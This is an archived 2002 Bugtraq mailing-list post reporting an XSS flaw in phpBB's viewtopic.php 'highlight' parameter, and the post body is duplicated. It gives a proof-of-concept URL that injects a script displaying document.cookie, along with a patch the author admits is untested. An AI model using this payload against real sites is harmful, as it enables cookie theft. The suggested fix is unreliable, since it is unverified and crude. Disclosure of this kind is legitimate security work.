Threat level definition
Search:
Home
Bugtraq
Vulnerabilities
Mailing Lists
Jobs
Tools
Beta Programs
News
Infocus
Foundations
Microsoft
Unix
IDS
Incidents
Virus
Pen-Test
Firewalls
Columnists
Mailing Lists
Newsletters
Bugtraq
Focus on IDS
Focus on Linux
Focus on Microsoft
Forensics
Pen-test
Security Basics
Vuln Dev
Vulnerabilities
Jobs
Job Opportunities
Resumes
Job Seekers
Employers
Tools
RSS
News
Vulns
Security Research
BugTraq
Back to list
|
Post reply
XSS bug in phpBB
Nov 18 2002 12:33PM
Arab VieruZ (arabviersus hotmail com)
Vulnerable systems:
The Last ver
Exploit:
http://phpbb.com/phpBB/viewtopic.php?
t=17071&highlight=">"<Scr*ipt>javascript:alert(document.cookie)</Scr*ipt
>
(without "*")
Solution:
i think that will work , but im not sure
open viewtopic.php and put this code
$highlight = htmlspecialchars($highlight);
$highlight = PREG_Replace("/[A-Z&.;:()~!@#$%^''*\{\}\/]/i", "",
$highlight);
[ reply ]
Privacy Statement
Copyright 2009, SecurityFocus
Vulnerable systems:
The Last ver
Exploit:
http://phpbb.com/phpBB/viewtopic.php?
t=17071&highlight=">"<Scr*ipt>javascript:alert(document.cookie)</Scr*ipt
>
(without "*")
Solution:
i think that will work , but im not sure
open viewtopic.php and put this code
$highlight = htmlspecialchars($highlight);
$highlight = PREG_Replace("/[A-Z&.;:()~!@#$%^''*\{\}\/]/i", "",
$highlight);
[ reply ]